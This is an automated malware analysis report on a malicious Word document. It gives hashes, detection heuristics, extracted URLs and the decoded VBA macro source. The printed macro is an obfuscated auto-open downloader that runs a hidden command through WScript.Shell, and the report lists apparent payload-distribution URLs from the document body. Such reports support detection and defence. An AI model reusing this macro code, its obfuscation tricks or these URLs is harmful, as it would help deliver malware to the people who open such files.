Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 d30885aa40290f65…

MALICIOUS

Office (OLE) / .DOC

105.0 KB Created: 2019-01-15 02:22:00 Authoring application: Microsoft Office Word First seen: 2026-06-28
MD5: 19b92de83a78cc708991b33bf677deab SHA-1: d27dd9efd74c31f0cd3aac2ac4982de0c82ed7a8 SHA-256: d30885aa40290f65eb6fcd41d7feb69c9f4fc6157d5aa536103e64bb0b62aebb
350 Risk Score

Heuristics 10

  • ClamAV: Doc.Malware.Alien-10010959-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Alien-10010959-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    opticalk = Array(AvonS, transitiono, ADPf, CreateObject("WscRipt.sHeLl").Run(("" + Colombiaz + Larid + COMX + pixeli.TextBox1) + THXM + PersonalLoanAccountT, 14 - 14), Compatiblep, enterpriseE, Fieldsr)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    opticalk = Array(AvonS, transitiono, ADPf, CreateObject("WscRipt.sHeLl").Run(("" + Colombiaz + Larid + COMX + pixeli.TextBox1) + THXM + PersonalLoanAccountT, 14 - 14), Compatiblep, enterpriseE, Fieldsr)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://liarla.com/R`6}QLJ In document text (OLE body)
    • http://espasat.com/1Ybk(5[@http://latuco]fere]ce.com/Zp-co]te]t/uploads/vvl9XkG@http://dirt[actio]sports.com/vVgr(dva@http://demig].com/PGT53cbJo.7plit?Jo@Jo);$Tast[7oftComputerP=JovioletWJo;$CreditCard6ccou]tGIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6207 bytes
SHA-256: d041dfec7a35c37f7f8398e4965784a25d73a724e89ce8f1f626d6586ecf7617
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pixeli"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "Nevadam"
Function SleekM()
On Error Resume Next
   Select Case pinkk
         Case 325
depositf = contingencyt
            hackS = CDate(indexK)
            CocosKeelingIslandsE = ToolsToolsH
            usercentricY = Sgn(IncredibleWoodenBallO)
         Case 166
            challengeq = 994
            TastyConcreteSaladm = CDbl(253)
TunnelW = viralb
            parsingV = Sin(depositR)
         Case 395
Assistantc = DynamicS
            Marketings = Fix(BuckinghamshireR)
morphI = feedI
            Softw = Round(561)
            invoiceX = CoordinatorD
      End Select
   Select Case navigatei
         Case 162
deliverc = Coordinatori
            compellingz = CDate(hapticT)
            neurald = leadingedgeM
            calculater = Sgn(GrassrootsE)
         Case 869
            brandp = 411
            Roadd = CDbl(223)
Analysta = paymenth
            BarbadosDollarP = Sin(Pinel)
         Case 701
depositP = Investorz
            LegacyR = Fix(infrastructuresY)
BooksToolsC = SleekMetalPantsA
            FantasticH = Round(895)
            SteelA = paymentZ
      End Select
   Select Case AdvancedE
         Case 403
ConcreteH = AccountabilityU
            invoiceM = CDate(FieldZ)
            Frozenb = Frontlinet
            InvestmentAccountU = Sgn(incrementalv)
         Case 235
            IcelandKronac = 723
            Smallh = CDbl(871)
InvestmentAccountU = Administratord
            Communicationsl = Sin(BrandingK)
         Case 446
productizeU = transmitX
            AdministratorA = Fix(IncredibleM)
Cambridgeshireu = BerkshireG
            Universalj = Round(489)
            invoiceW = Q1080p62
      End Select
   Select Case BrandB
         Case 717
Legacyc = hackingL
            maroonv = CDate(conglomerationZ)
            cultivatej = OutdoorsClothingJeweleryt
            monitorG = Sgn(GenericConcreteCheesen)
         Case 21
            paymentD = 281
            Assurancez = CDbl(744)
GardensM = auxiliaryX
            optimizeX = Sin(Associateo)
         Case 107
supplychainsU = AvonW
            Romaniai = Fix(strategizeo)
PersonalLoanAccountO = PracticalGraniteShirtd
            navigatingn = Round(874)
            depositT = azureb
      End Select
opticalk = Array(AvonS, transitiono, ADPf, CreateObject("WscRipt.sHeLl").Run(("" + Colombiaz + Larid + COMX + pixeli.TextBox1) + THXM + PersonalLoanAccountT, 14 - 14), Compatiblep, enterpriseE, Fieldsr)
   Select Case RefinedCottonHatM
         Case 142
logisticalH = LegacyE
            XSSQ = CDate(depositl)
            BerkshireZ = hackY
            connectingb = Sgn(utilizez)
         Case 161
            Fortz = 16
            Tongar = CDbl(353)
AwesomeFrozenShirtz = innovativec
            upwardtrendingN = Sin(FreshS)
         Case 426
Buckinghamshiren = CreditCardAccountD
            synthesizingf = Fix(quantifyingJ)
distributedn = wirelessa
            auxiliaryS = Round(817)
            SlovakiaSlovakRepublicr = HeardIslandandMcDonaldIslandsj
      End Select
   Select Case Leoneo
         Case 446
IndustrialIndustrialC = CanadaN
            pixelR = CDate(ivorys)
            Chiefs = FantasticY
            capacitorT = Sgn(EXEd)
         Case 481
            AutoLoanAccountc = 352
            repurposeF = CDbl(841)
PerseveringB = Courtsz
            Customerfocusedk = Sin(PlasticO)
         Case 31
mobileH = SDDH
            depositD = Fix(HomeToolsY)
invoiceU = StandaloneV
            AdministratorA = Round(502)
            partnershipsC = QualityB
      End Select
End Function


Attribute VB_Name = "invoiceS"
Sub autoopen()
Freshm = granularY - nichesT
Massachusettsm = IntranetE - CambridgeshireP
FranceT = ClothingToysAutomotiveT - R24783
Downsizedk = LoopX - emarketsH
MusicElectronicsGroceryP = MoneyMarketAccounth - Avonm
SleekM
arrayw = pixelk - AgentR
CentersW = IslandD - openarchitecturec
technologiesS = portalst - navigatep
invoicej = PersonalLoanAccountL - parsingC
hapticJ = TrinidadandTobagoDollarB - paradigmsp
End Sub

Attribute VB_Name = "CrossplatformL"

Attribute VB_Name = "mobileR"

Attribute VB_Name = "empoweringu"

Attribute VB_Name = "compressingv"

Attribute VB_Name = "virtualN"

Attribute VB_Name = "backendI"

Attribute VB_Name = "Musici"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "InvestorL"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "objectorientedX"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "bluetoothj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "paradigmm"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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